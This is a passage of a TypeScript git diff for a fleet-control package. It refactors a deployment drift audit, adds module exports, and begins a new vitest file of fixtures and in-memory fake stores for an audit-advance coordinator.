${segment.diagnostic}` : ''), ) - .filter((reason): reason is string => reason !== undefined); - if (!live.maintenance.armed || dutyFailures.length > 0) { - const reasons = [ - ...(!live.maintenance.armed - ? ['maintenance scheduler is not armed'] - : []), - ...dutyFailures, - ]; - findings.push({ + .join('; '); + push( + { tenantTag: record.tenantTag, environment: record.environment, kind: 'maintenance-stale', - detail: reasons.join('; '), - }); - try { - await options.store.withDeploymentLease( - record.tenantTag, - record.environment, - async (lease) => { - const current = await options.store.get( - record.tenantTag, - record.environment, - ); - if ( - !current || - current.phase !== record.phase || - current.desiredSpecDigest !== record.desiredSpecDigest || - current.updatedAt !== record.updatedAt - ) { - throw new Error( - 'deployment changed after audit inspection; maintenance re-arm aborted', - ); - } - await commitInvocationAuthority( - lease, - current, - () => options.now ?? Date.now(), - ); - await lease.assertOwned(); - await backend.ensureMaintenance( - spec, - maintenanceSecret, - lease, - activeArtifactVersion(record), + detail, + }, + segments.some((segment) => segment.diagnostic !== null) + ? legacyDetail + : null, + ); + try { + await input.store.withDeploymentLease( + record.tenantTag, + record.environment, + async (lease) => { + const current = await input.store.get( + record.tenantTag, + record.environment, + ); + if ( + !current || + current.phase !== record.phase || + current.desiredSpecDigest !== record.desiredSpecDigest || + current.updatedAt !== record.updatedAt + ) { + throw new Error( + 'deployment changed after audit inspection; maintenance re-arm aborted', ); - }, - ); - } catch (error) { - findings.push({ + } + await commitInvocationAuthority( + lease, + current, + input.authorityNowProvider, + ); + await lease.assertOwned(); + await backend.ensureMaintenance( + spec, + maintenanceSecret, + lease, + activeArtifactVersion(record), + ); + }, + ); + } catch (error) { + push( + { tenantTag: record.tenantTag, environment: record.environment, kind: 'audit-error', - detail: `maintenance re-arm failed: ${String(error)}`, - }); - } + detail: 'maintenance re-arm failed', + }, + `maintenance re-arm failed: ${String(error)}`, + ); } } + return { findings, legacyDetails }; +} + +export async function auditFleetDrift(options: { + readonly store: FleetStateStore; + readonly records: readonly FleetRecord[]; + readonly inventory: FleetResourceInventory; + readonly backendFor: (record: FleetRecord) => ProvisioningBackend; + readonly specFor: (record: FleetRecord) => DeploymentSpec; + readonly maintenanceSecretFor: (record: FleetRecord) => string; + readonly staleAfterMs: number; + readonly now?: number; +}): Promise { + if (!Number.isSafeInteger(options.staleAfterMs) || options.staleAfterMs < 1) { + throw new Error('staleAfterMs must be a positive safe integer'); + } + const now = options.now ?? Date.now(); + const findings: DriftFinding[] = [...options.inventory.findings]; + // A deployment under active bounded cleanup is audit-suppressed in both + // directions: it feeds no expectations (no missing/duplicate findings) and + // its declared resource identities join the known sets below so its + // still-present resources never read as orphans. The bounded engine is the + // reconciliation authority; a long-blocked cleanup stays visible through + // the record itself, never through drift findings. + const auditedRecords = fleetAuditAuditedRecords(options.records); + const known = fleetAuditKnownSets(options.records); + const recordsByScript = fleetAuditRecordsByScript(auditedRecords); + findings.push( + ...auditRegistrationOrphansStage({ + scriptRegistrations: options.inventory.scriptRegistrations, + deployments: options.inventory.deployments, + recordsByScript, + knownScriptKeys: known.knownScriptKeys, + }), + ); + findings.push( + ...auditDeploymentOrphansStage({ + deployments: options.inventory.deployments, + recordsByScript, + knownScriptKeys: known.knownScriptKeys, + }), + ); + const liveByScript = fleetAuditLiveByScript(options.inventory.deployments); + findings.push( + ...auditDeploymentGapsStage({ + records: auditedRecords, + liveByScript, + scriptRegistrations: options.inventory.scriptRegistrations, + }), + ); + findings.push( + ...auditOrphanDatabasesStage({ + databaseIds: options.inventory.databaseIds, + registeredDatabaseIds: fleetAuditRegisteredDatabaseIds(auditedRecords), + knownDatabaseIds: known.knownDatabaseIds, + }), + ); + const expectedRoutes = fleetAuditExpectedRoutes(auditedRecords); + findings.push( + ...auditOrphanRoutesStage({ + routes: options.inventory.routes, + expectedRoutes, + knownRouteKeys: known.knownRouteKeys, + }), + ); + const liveRoutesByHostname = fleetAuditLiveRoutesByHostname( + options.inventory.routes, + ); + findings.push( + ...auditNamespaceOrphansStage({ + namespaceIds: options.inventory.namespaceIds, + expectedNamespaceIds: fleetAuditExpectedNamespaceIds(auditedRecords), + knownNamespaceIds: known.knownNamespaceIds, + }), + ); + const expectedNamespaceOwners = new Map(); + findings.push( + ...auditNamespaceExpectationsStage({ + records: auditedRecords, + inventoryNamespaceIds: options.inventory.namespaceIds, + expectedNamespaceOwners, + }), + ); + const expectedBuckets = new Map(); + findings.push( + ...auditR2ExpectedStage({ records: auditedRecords, expectedBuckets }), + ); + findings.push( + ...auditR2OrphansStage({ + r2Buckets: options.inventory.r2Buckets ?? [], + expectedBuckets, + knownBucketNames: known.knownBucketNames, + }), + ); + findings.push( + ...auditR2MissingIdentityStage({ + expectedBucketEntries: [...expectedBuckets.values()], + r2Buckets: options.inventory.r2Buckets ?? [], + }), + ); + const databases = new Map(); + const liveNamespaceOwners = new Map(); + const duplicateNamespaceIds = new Set( + fleetAuditRecordsDerivedDuplicateNamespaceIds(auditedRecords), + ); + for (const record of options.records) { + const result = await auditRecordStep({ + record, + recordsByScript, + liveByScript, + liveRoutesByHostname, + inventoryDatabaseIds: options.inventory.databaseIds, + hostRoutingKvId: options.inventory.hostRoutingKvId, + databases, + liveNamespaceOwners, + duplicateNamespaceIds, + backendFor: options.backendFor, + specFor: options.specFor, + maintenanceSecretFor: options.maintenanceSecretFor, + store: options.store, + staleAfterMs: options.staleAfterMs, + auditNow: now, + authorityNowProvider: () => options.now ?? Date.now(), + }); + findings.push( + ...result.findings.map((finding, index) => ({ + ...finding, + detail: result.legacyDetails[index] ?? finding.detail, + })), + ); + } return findings; } diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index 1cd9c113..a73620e7 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -77,6 +77,7 @@ export { ProcessLocalCloudflareApiRateCoordinator, } from './cloudflare-rate-coordinator.js'; export { D1FleetInventoryRunStore } from './d1-fleet-inventory-run-store.js'; +export { D1FleetOperationStore } from './d1-fleet-operation-store.js'; export { type AdvanceDecommissionDeploymentOptions, advanceDecommissionDeployment, @@ -101,6 +102,21 @@ export { migrateFleet, rollbackExternalRelease, } from './fleet.js'; +export { + type AdvanceFleetAuditOptions, + abandonFleetAuditOperation, + advanceFleetAudit, + type FleetAuditAdvanceAction, + type FleetAuditAdvanceCapability, + FleetAuditAdvanceCapabilityError, + type FleetAuditAdvanceResult, + type FleetAuditResultRef, + readFleetAuditFindingsPage, +} from './fleet-audit-advance.js'; +export type { + FleetAuditProgress, + FleetAuditStage, +} from './fleet-audit-state.js'; export { type AdvanceFleetInventoryOptions, advanceFleetInventory, @@ -122,6 +138,23 @@ export { FleetInventoryRunTokenFutureError, FleetInventoryRunTokenOperationError, } from './fleet-inventory-state.js'; +export { + type FleetOperationFailure, + type FleetOperationKind, + type FleetOperationLease, + type FleetOperationProgress, + type FleetOperationRowKind, + type FleetOperationRunRecord, + type FleetOperationStagedRow, + FleetOperationStateError, + type FleetOperationStore, + FleetOperationStoreCapabilityError, + type FleetOperationToken, + FleetOperationTokenError, + FleetOperationTokenFutureError, + FleetOperationTokenKindError, + FleetOperationTokenOperationError, +} from './fleet-operation-state.js'; export type { HostRoutingTarget } from './host-routing.js'; export { PlainWorkerBackend, diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts new file mode 100644 index 00000000..ae55d812 --- /dev/null +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -0,0 +1,4387 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { auditFleetDrift } from '../src/fleet.js'; +import { + type AdvanceFleetAuditOptions, + abandonFleetAuditOperation, + advanceFleetAudit, + type FleetAuditAdvanceAction, + FleetAuditAdvanceCapabilityError, + type FleetAuditAdvanceResult, + readFleetAuditFindingsPage, +} from '../src/fleet-audit-advance.js'; +import { + type FleetAuditProgress, + type FleetAuditStage, + fleetAuditFactRowFromUnknown, + fleetAuditProgressFromUnknown, +} from '../src/fleet-audit-state.js'; +import type { + FleetInventoryGeneration, + FleetInventoryGenerationRef, + FleetInventoryLease, + FleetInventoryRowKind, + FleetInventoryRunOptions, + FleetInventoryRunRecord, + FleetInventoryRunStore, + FleetInventoryStagedFact, + FleetInventoryStagedRow, +} from '../src/fleet-inventory-state.js'; +import { emptyFleetInventoryRowCounts } from '../src/fleet-inventory-state.js'; +import { + canonicalFleetOperationBytes, + FLEET_OPERATION_INTAKE_BYTE_BOUND, + FLEET_OPERATION_ITEM_BOUND, + FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND, + FLEET_OPERATION_ROW_READ_BOUND, + FLEET_OPERATION_STRING_BYTE_BOUND, + type FleetOperationKind, + type FleetOperationLease, + type FleetOperationRowKind, + type FleetOperationRunRecord, + type FleetOperationStagedRow, + type FleetOperationStore, + FleetOperationTokenFutureError, + FleetOperationTokenKindError, + FleetOperationTokenOperationError, + fleetOperationIntakeDigest, + fleetOperationItemsIntake, + fleetOperationStagedRowFromUnknown, + readAllFleetOperationRows, +} from '../src/fleet-operation-state.js'; +import { providerBindingIdentitiesForInspection } from '../src/provider-binding-inventory.js'; +import type { + DeploymentSpec, + FleetInventoryDeployment, + FleetInventoryFinding, + FleetRecord, + FleetResourceInventory, + FleetStateLease, + FleetStateStore, + LiveDeployment, + MaintenanceHealth, + ProvisioningBackend, + ProvisioningBackendKind, +} from '../src/types.js'; + +// --------------------------------------------------------------------------- +// Fixed identities, clocks, and small builders. This world is INLINE and +// INDEPENDENT of `test/fixtures/fleet-audit-world.ts` (§10 SECOND-WORLD NOTE): +// it never imports that fixture. +// --------------------------------------------------------------------------- + +function uuidFor(seed: number): string { + return `${seed.toString(16).padStart(8, '0')}-0000-4000-8000-000000000000`; +} + +/** + * A view of `target` with exactly one method hidden — including inherited + * (prototype) methods, unlike an object spread, which drops every method a + * class declares on its prototype rather than as an instance field. + */ +function withoutMethod(target: T, method: keyof T): T { + return new Proxy(target, { + get(obj, prop, receiver) { + if (prop === method) return undefined; + const value = Reflect.get(obj, prop, receiver); + return typeof value === 'function' ? value.bind(obj) : value; + }, + has(obj, prop) { + if (prop === method) return false; + return Reflect.has(obj, prop); + }, + }); +} + +const ENVIRONMENT = 'production'; +const SPEC_DIGEST = 'a'.repeat(64); +const AUDIT_NOW = Date.parse('2026-06-01T00:00:00.000Z'); +const STALE_AFTER_MS = 3_600_000; +const FRESH_UPDATED_AT = new Date(AUDIT_NOW - 30 * 60_000).toISOString(); + +const HEALTHY_MAINTENANCE: MaintenanceHealth = { + armed: true, + nextAlarmAt: AUDIT_NOW + 60_000, + lastSweepAt: AUDIT_NOW - 60_000, + lastPurgeAt: AUDIT_NOW - 60_000, +}; + +const UNARMED_MAINTENANCE: MaintenanceHealth = { + armed: false, + nextAlarmAt: null, + lastSweepAt: null, + lastPurgeAt: null, +}; + +function baseRecord( + tenantTag: string, + overrides: Partial = {}, +): FleetRecord { + return { + tenantTag, + backend: 'plain-worker', + environment: ENVIRONMENT, + scriptName: `${tenantTag}-worker`, + databaseId: `db-${tenantTag}`, + databaseName: `database-${tenantTag}`, + schemaVersion: 1, + artifactVersion: 'v1', + desiredSpecDigest: SPEC_DIGEST, + durableObjectBindings: [ + { name: 'RUNNER', className: 'Runner', namespaceId: `ns-${tenantTag}` }, + ], + routeHostname: `${tenantTag}.example.test`, + phase: 'ready', + updatedAt: FRESH_UPDATED_AT, + ...overrides, + }; +} + +function countPlainDataNodes(value: unknown): number { + let count = 0; + const pending = [value]; + while (pending.length > 0) { + const current = pending.pop(); + count += 1; + if (Array.isArray(current)) pending.push(...current); + else if (current && typeof current === 'object') { + pending.push(...Object.values(current)); + } + } + return count; +} + +function specForRecord( + record: FleetRecord, + overrides: Partial = {}, +): DeploymentSpec { + return { + tenantTag: record.tenantTag, + environment: record.environment, + scriptName: record.scriptName, + databaseName: record.databaseName, + compatibilityDate: '2026-05-01', + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], + authoredBy: 'external', + schemaVersion: record.schemaVersion, + migrations: [], + durableObjectMigrations: [], + durableObjectBindings: [], + maintenanceBaseUrl: `https://control-${record.scriptName}.example.test`, + routeHostname: record.routeHostname, + ...overrides, + }; +} + +function cleanLiveDeployment( + record: FleetRecord, + overrides: Partial = {}, +): LiveDeployment { + const base = { + tenantTag: record.tenantTag, + environment: record.environment, + scriptName: record.scriptName, + databaseId: record.databaseId, + durableObjectBindings: record.durableObjectBindings, + plainTextBindings: {}, + secretNames: [] as readonly string[], + artifactVersion: record.artifactVersion, + desiredSpecDigest: record.desiredSpecDigest, + schemaVersion: record.schemaVersion, + maintenance: HEALTHY_MAINTENANCE, + ...overrides, + }; + return { + ...base, + providerBindingIdentities: providerBindingIdentitiesForInspection({ + ...base, + databaseIds: [base.databaseId], + }), + }; +} + +function cleanInventoryDeployment( + record: FleetRecord, + overrides: Partial = {}, +): FleetInventoryDeployment { + return { + backend: record.backend, + scriptName: record.scriptName, + tenantTag: record.tenantTag, + environment: record.environment, + databaseIds: [record.databaseId], + durableObjectBindings: record.durableObjectBindings, + secretNames: [], + plainTextBindings: {}, + routeHostnames: [record.routeHostname], + artifactVersion: record.artifactVersion, + desiredSpecDigest: record.desiredSpecDigest, + schemaVersion: record.schemaVersion, + ...overrides, + }; +} + +function cleanRoute( + record: FleetRecord, + overrides: Partial = {}, +): FleetResourceInventory['routes'][number] { + return { + backend: record.backend, + hostname: record.routeHostname, + scriptName: record.scriptName, + tenantTag: record.tenantTag, + environment: record.environment, + ...overrides, + }; +} + +/** A test-mutable variant of `FleetResourceInventory` (readonly at the public boundary). */ +interface MutableInventory { + findings: FleetInventoryFinding[]; + scriptRegistrations: FleetResourceInventory['scriptRegistrations'][number][]; + deployments: FleetInventoryDeployment[]; + databaseIds: string[]; + namespaceIds: string[]; + r2Buckets: NonNullable[number][]; + routes: FleetResourceInventory['routes'][number][]; + hostRoutingKvId?: string; +} + +function emptyInventory(): MutableInventory { + return { + findings: [], + scriptRegistrations: [], + deployments: [], + databaseIds: [], + namespaceIds: [], + r2Buckets: [], + routes: [], + }; +} + +/** A clean inventory matching `records` exactly (zero drift). */ +function inventoryFor(records: readonly FleetRecord[]): MutableInventory { + return { + findings: [], + scriptRegistrations: [], + deployments: records.map((record) => cleanInventoryDeployment(record)), + databaseIds: records.map((record) => record.databaseId), + namespaceIds: records.flatMap((record) => + record.durableObjectBindings.map((binding) => binding.namespaceId), + ), + r2Buckets: [], + routes: records.map((record) => cleanRoute(record)), + }; +} + +class SimpleBackend implements ProvisioningBackend { + readonly kind: ProvisioningBackendKind = 'plain-worker'; + + constructor( + private readonly liveByTenant: Map, + private readonly opsLog: string[] = [], + private readonly throwOnInspect = new Set(), + private readonly throwOnEnsureMaintenance = new Set(), + ) {} + + async findDatabase(): Promise { + throw new Error('unused'); + } + async getDatabase(): Promise { + throw new Error('unused'); + } + async ensureDatabase(): Promise { + throw new Error('unused'); + } + async seedDeploymentIdentity(): Promise { + throw new Error('unused'); + } + async readDeploymentIdentity(): Promise { + throw new Error('unused'); + } + async applyMigrations(): Promise { + throw new Error('unused'); + } + async deployWorker(): Promise { + throw new Error('unused'); + } + async promoteWorker(): Promise { + throw new Error('unused'); + } + + async ensureMaintenance( + spec: DeploymentSpec, + _maintenanceAdminSecret: string, + _lease: FleetStateLease, + ): Promise { + this.opsLog.push('ensureMaintenance'); + if (this.throwOnEnsureMaintenance.has(spec.tenantTag)) { + throw new Error('maintenance re-arm blew up'); + } + return HEALTHY_MAINTENANCE; + } + + async inspect(spec: DeploymentSpec): Promise { + this.opsLog.push(`inspect:${spec.tenantTag}`); + if (this.throwOnInspect.has(spec.tenantTag)) { + throw new Error('inspection blew up'); + } + return this.liveByTenant.get(spec.tenantTag); + } + + async attestActiveRoute(): Promise { + throw new Error('unused'); + } + async removeTraffic(): Promise { + throw new Error('unused'); + } + async assertTrafficRemoved(): Promise { + throw new Error('unused'); + } + async revokeCredentials(): Promise { + throw new Error('unused'); + } + async deleteWorker(): Promise { + throw new Error('unused'); + } + async assertDatabaseDetached(): Promise { + throw new Error('unused'); + } + async exportDatabase(): Promise { + throw new Error('unused'); + } + async deleteDatabase(): Promise { + throw new Error('unused'); + } +} + +class FakeFleetStateStore implements FleetStateStore { + readonly records = new Map(); + readonly ops: string[] = []; + + constructor(records: readonly FleetRecord[] = []) { + for (const record of records) { + this.records.set(`${record.tenantTag}:${record.environment}`, record); + } + } + + async withDeploymentLease( + tenantTag: string, + environment: string, + operation: (lease: FleetStateLease) => Promise, + ): Promise { + this.ops.push('withDeploymentLease'); + const key = `${tenantTag}:${environment}`; + const lease: FleetStateLease = { + tenantTag, + environment, + mutationLeaseTtlMs: 900_000, + assertOwned: async () => { + this.ops.push('assertOwned'); + }, + renew: async () => {}, + put: async (record) => { + this.ops.push('put'); + this.records.set(key, record); + }, + delete: async () => { + this.records.delete(key); + }, + }; + return operation(lease); + } + + async get( + tenantTag: string, + environment: string, + ): Promise { + this.ops.push('get'); + return this.records.get(`${tenantTag}:${environment}`); + } + + async list(): Promise { + return [...this.records.values()]; + } +} + +// --------------------------------------------------------------------------- +// Fake FleetInventoryRunStore: registers a finalized generation directly from +// a FleetResourceInventory, going through the real materialization codec. +// --------------------------------------------------------------------------- + +function stageInventoryFixture(inventory: FleetResourceInventory): { + rows: FleetInventoryStagedRow[]; + facts: FleetInventoryStagedFact[]; + options: FleetInventoryRunOptions; +} { + const rows: FleetInventoryStagedRow[] = []; + const facts: FleetInventoryStagedFact[] = []; + let ordinal = 0; + for (const finding of inventory.findings) { + rows.push({ + kind: 'finding', + ordinal: ordinal++, + payload: { record: 'finding', ...finding }, + }); + } + ordinal = 0; + for (const registration of inventory.scriptRegistrations) { + rows.push({ + kind: 'registration', + ordinal: ordinal++, + payload: { record: 'registration', ...registration }, + }); + } + ordinal = 0; + for (const deployment of inventory.deployments) { + const deploymentOrdinal = ordinal++; + const { + databaseIds, + durableObjectBindings, + serviceBindings, + queueProducerBindings, + kvNamespaceBindings, + r2BucketBindings, + secretNames, + plainTextBindings, + routeHostnames, + zoneRoutes, + ...identity + } = deployment as FleetInventoryDeployment & { + kvNamespaceBindings?: readonly Readonly<{ + name: string; + namespaceId: string; + }>[]; + zoneRoutes?: readonly Readonly<{ zoneId: string; routeId: string }>[]; + }; + rows.push({ + kind: 'deployment', + ordinal: deploymentOrdinal, + payload: { record: 'deployment', ...identity }, + }); + let factOrdinal = 0; + for (const databaseId of databaseIds ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'database-id', + factOrdinal: factOrdinal++, + payload: { databaseId }, + }); + } + for (const binding of durableObjectBindings ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'durable-object-binding', + factOrdinal: factOrdinal++, + payload: { ...binding }, + }); + } + for (const binding of serviceBindings ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'service-binding', + factOrdinal: factOrdinal++, + payload: { ...binding }, + }); + } + for (const binding of queueProducerBindings ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'queue-producer-binding', + factOrdinal: factOrdinal++, + payload: { ...binding }, + }); + } + for (const binding of kvNamespaceBindings ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'kv-binding', + factOrdinal: factOrdinal++, + payload: { ...binding }, + }); + } + for (const binding of r2BucketBindings ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'r2-binding', + factOrdinal: factOrdinal++, + payload: { ...binding }, + }); + } + for (const secretName of secretNames ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'secret-name', + factOrdinal: factOrdinal++, + payload: { secretName }, + }); + } + for (const [name, text] of Object.entries(plainTextBindings ?? {})) { + facts.push({ + deploymentOrdinal, + factKind: 'plain-text-binding', + factOrdinal: factOrdinal++, + payload: { name, text }, + }); + } + for (const hostname of routeHostnames ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'route-hostname', + factOrdinal: factOrdinal++, + payload: { hostname }, + }); + } + for (const zoneRoute of zoneRoutes ?? []) { + facts.push({ + deploymentOrdinal, + factKind: 'zone-route', + factOrdinal: factOrdinal++, + payload: { ...zoneRoute }, + }); + } + } + ordinal = 0; + for (const databaseId of inventory.databaseIds) { + rows.push({ + kind: 'database-id', + ordinal: ordinal++, + payload: { record: 'database-id', databaseId }, + }); + } + ordinal = 0; + for (const namespaceId of inventory.namespaceIds) { + rows.push({ + kind: 'namespace-id', + ordinal: ordinal++, + payload: { record: 'namespace-id', namespaceId }, + }); + } + ordinal = 0; + for (const bucket of inventory.r2Buckets ?? []) { + rows.push({ + kind: 'r2-bucket', + ordinal: ordinal++, + payload: { record: 'r2-bucket', ...bucket }, + }); + } + ordinal = 0; + for (const route of inventory.routes) { + rows.push({ + kind: 'route', + ordinal: ordinal++, + payload: { record: 'route', ...route }, + }); + } + const options: FleetInventoryRunOptions = { + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeDispatchNamespace: false, + includeR2Buckets: true, + ...(inventory.hostRoutingKvId === undefined + ? {} + : { hostRoutingKvId: inventory.hostRoutingKvId }), + }; + return { rows, facts, options }; +} + +class FakeInventoryRunStore implements FleetInventoryRunStore { + readonly refs = new Map(); + readonly generations = new Map< + number, + { rows: FleetInventoryStagedRow[]; facts: FleetInventoryStagedFact[] } + >(); + readonly runs = new Map(); + readonly pins: { generation: number; pinnedBy: string }[] = []; + readonly releasedPins: { generation: number; pinnedBy: string }[] = []; + latestGeneration: number | undefined; + latestFinalizedGenerationCalls = 0; + readFinalizedGenerationCalls = 0; + readRunByOperationCalls = 0; + unreadableGenerations = new Set(); + pinFailsForGeneration: number | undefined; + + registerFinalizedGeneration( + generation: number, + inventory: FleetResourceInventory, + ): void { + const { rows, facts, options } = stageInventoryFixture(inventory); + const rowManifest: Record = { + ...emptyFleetInventoryRowCounts(), + }; + for (const row of rows) { + rowManifest[row.kind] = (rowManifest[row.kind] ?? 0) + 1; + } + const operationId = uuidFor(900_000 + generation); + const ref: FleetInventoryGenerationRef = { + generation, + operationId, + finalizedAtMs: AUDIT_NOW, + rowManifest, + factCount: facts.length, + }; + this.refs.set(generation, ref); + this.generations.set(generation, { rows, facts }); + this.runs.set(operationId, { + version: 1, + operationId, + optionsDigest: `digest-${generation}`, + options, + state: 'finalized', + progress: { + stage: { step: 'finalize' }, + generation, + revision: 1, + stagedCounts: rowManifest, + factCount: facts.length, + providerRequests: 0, + }, + updatedAt: new Date(AUDIT_NOW).toISOString(), + }); + this.latestGeneration = generation; + } + + async withAccountInventoryLease( + operation: (lease: FleetInventoryLease) => Promise, + ): Promise { + // Unused by the audit coordinator (pinGeneration/releasePin are + // store-level, not lease-level); a throwing stub is sufficient. + return operation({ + assertOwned: () => Promise.reject(new Error('unused')), + } as unknown as FleetInventoryLease); + } + + async readFinalizedGeneration( + generation: number, + ): Promise { + this.readFinalizedGenerationCalls += 1; + if (this.unreadableGenerations.has(generation)) { + throw new Error( + `fleet inventory generation ${generation} is not finalized`, + ); + } + const ref = this.refs.get(generation); + const stored = this.generations.get(generation); + if (!ref || !stored) { + throw new Error( + `fleet inventory generation ${generation} is not finalized`, + ); + } + return { ref, rows: stored.rows, facts: stored.facts }; + } + + async latestFinalizedGeneration(): Promise< + FleetInventoryGenerationRef | undefined + > { + this.latestFinalizedGenerationCalls += 1; + return this.latestGeneration === undefined + ? undefined + : this.refs.get(this.latestGeneration); + } + + async readRunByOperation( + operationId: string, + ): Promise { + this.readRunByOperationCalls += 1; + return this.runs.get(operationId); + } + + async pinGeneration( + input: Readonly<{ generation: number; pinnedBy: string }>, + ): Promise { + if (this.pinFailsForGeneration === input.generation) { + throw new Error( + `fleet inventory generation ${input.generation} cannot be pinned`, + ); + } + this.pins.push({ ...input }); + } + + async releasePin( + input: Readonly<{ generation: number; pinnedBy: string }>, + ): Promise { + this.releasedPins.push({ ...input }); + } + + async pruneInventoryGenerations(): Promise> { + return { deleted: 0 }; + } +} + +// --------------------------------------------------------------------------- +// Fake FleetOperationStore/FleetOperationLease: an in-memory, deliberately +// faithful reimplementation of the R4-A guarded-batch contract (head/lease +// exclusivity, DO-NOTHING staging, revision-guarded commit with a +// byte-identical convergence read, watermark verification, probe-first +// start classification). `lease.readOperation` is deliberately HEAD-SCOPED +// (stricter than the shipped D1 adapter) so the coordinator's probe-first +// fallback to the head-independent `readOperationById` is genuinely +// exercised, not merely accepted by coincidence. +// --------------------------------------------------------------------------- + +class FakeOperationStore implements FleetOperationStore { + readonly heads = new Map(); + readonly operations = new Map(); + readonly intakeDigests = new Map(); + readonly rows = new Map(); + readonly locked = new Set(); + readonly probeMiss = new Set(); + loseLeaseKind: FleetOperationKind | undefined; + leaseCount = 0; + readOperationByIdCalls = 0; + readonly rowPageReadCounts = new Map(); + stagedRowCodecCalls = 0; + + #rowsKey(operationId: string, rowKind: FleetOperationRowKind): string { + return `${operationId}:${rowKind}`; + } + + async withAccountOperationLease( + kind: FleetOperationKind, + operation: (lease: FleetOperationLease) => Promise, + ): Promise { + if (this.locked.has(kind)) { + throw new Error( + `fleet ${kind} operations for account 'test' are already being modified`, + ); + } + this.locked.add(kind); + this.leaseCount += 1; + const lost = this.loseLeaseKind === kind; + const lease: FleetOperationLease = { + assertOwned: async () => { + if (lost) { + throw new Error( + `fleet ${kind} operation lease for account 'test' is no longer owned by this operation`, + ); + } + }, + startOperation: async (input) => this.#startOperation(input), + readOperation: async (operationId) => { + const op = this.operations.get(operationId); + if (!op) return undefined; + return this.heads.get(op.kind) === operationId ? op : undefined; + }, + stageRows: async (input) => this.#stageRows(input), + commitProgress: async (input) => this.#commitProgress(input), + finalizeOperation: async (input) => this.#finalizeOperation(input), + failOperation: async (input) => this.#failOperation(input), + }; + try { + return await operation(lease); + } finally { + this.locked.delete(kind); + } + } + + async readOperationById( + operationId: string, + ): Promise { + this.readOperationByIdCalls += 1; + if (this.probeMiss.has(operationId)) { + this.probeMiss.delete(operationId); + return undefined; + } + return this.operations.get(operationId); + } + + async readOperationRowsPage( + input: Readonly<{ + operationId: string; + rowKind: FleetOperationRowKind; + afterOrdinal?: number; + limit: number; + }>, + ): Promise< + Readonly<{ rows: readonly FleetOperationStagedRow[]; done: boolean }> + > { + this.rowPageReadCounts.set( + input.rowKind, + (this.rowPageReadCounts.get(input.rowKind) ?? 0) + 1, + ); + const key = this.#rowsKey(input.operationId, input.rowKind); + const all = [...(this.rows.get(key) ?? [])].sort( + (left, right) => left.ordinal - right.ordinal, + ); + const after = input.afterOrdinal ?? -1; + const filtered = all.filter((row) => row.ordinal > after); + const page = filtered.slice(0, input.limit); + return { rows: page, done: filtered.length <= input.limit }; + } + + async pruneFleetOperations(): Promise< + Readonly<{ deleted: number; releasedPins: number }> + > { + return { deleted: 0, releasedPins: 0 }; + } + + #startOperation( + input: Parameters[0], + ): ReturnType { + const { operationId, kind, runRecord, intakeDigest } = input; + const existing = this.operations.get(operationId); + if (existing) { + if (existing.kind !== kind) { + throw new Error( + `fleet operation '${operationId}' belongs to the other operation kind`, + ); + } + if (this.intakeDigests.get(operationId) !== intakeDigest) { + throw new Error( + `fleet operation '${operationId}' already exists with a different intake`, + ); + } + return Promise.resolve({ + outcome: + existing.state === 'running' + ? ('adopted-running' as const) + : ('adopted-terminal' as const), + record: existing, + }); + } + if (this.heads.has(kind)) { + throw new Error( + `another fleet ${kind} operation is active for this account`, + ); + } + this.operations.set(operationId, runRecord); + this.intakeDigests.set(operationId, intakeDigest); + this.heads.set(kind, operationId); + return Promise.resolve({ outcome: 'created' as const, record: runRecord }); + } + + #stageRows(input: Parameters[0]): void { + const { operationId } = input; + const rows = this.#validatedRows(input.rows); + for (const row of rows) { + const key = this.#rowsKey(operationId, row.rowKind); + const list = this.rows.get(key) ?? []; + if (!list.some((existing) => existing.ordinal === row.ordinal)) { + list.push(row); + this.rows.set(key, list); + } + } + } + + #commitProgress( + input: Parameters[0], + ): ReturnType { + const { + operationId, + expectedRevision, + runRecord, + rows: inputRows = [], + updateRows: inputUpdateRows = [], + expectedRowWatermarks = {}, + } = input; + const rows = this.#validatedRows(inputRows); + const updateRows = this.#validatedRows(inputUpdateRows); + if (rows.length + updateRows.length + 1 > 100) { + throw new Error( + 'commitProgress exceeds the operation batch budget of 100 statements', + ); + } + const current = this.operations.get(operationId); + const matches = + current !== undefined && + current.state === 'running' && + current.progress.revision === expectedRevision; + if (matches) { + for (const row of rows) { + const key = this.#rowsKey(operationId, row.rowKind); + const list = this.rows.get(key) ?? []; + if (!list.some((existing) => existing.ordinal === row.ordinal)) { + list.push(row); + this.rows.set(key, list); + } + } + for (const row of updateRows) { + const key = this.#rowsKey(operationId, row.rowKind); + const list = this.rows.get(key) ?? []; + const index = list.findIndex( + (existing) => existing.ordinal === row.ordinal, + ); + if (index >= 0) list[index] = row; + } + this.operations.set(operationId, runRecord); + return Promise.resolve(runRecord); + } + let complete = true; + for (const row of [...rows, ...updateRows]) { + const key = this.#rowsKey(operationId, row.rowKind); + const list = this.rows.get(key) ?? []; + const stored = list.find((existing) => existing.ordinal === row.ordinal); + if (!stored) complete = false; + else if (JSON.stringify(stored.payload) !== JSON.stringify(row.payload)) { + throw new Error( + `fleet operation '${operationId}' staged rows diverge from the persisted operation`, + ); + } + } + for (const [rowKind, watermark] of Object.entries(expectedRowWatermarks)) { + const list = + this.rows.get( + this.#rowsKey(operationId, rowKind as FleetOperationRowKind), + ) ?? []; + const count = list.filter( + (row) => row.ordinal < (watermark as number), + ).length; + if (count !== watermark) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + } + const persisted = this.operations.get(operationId); + if ( + complete && + persisted && + persisted.progress.revision === 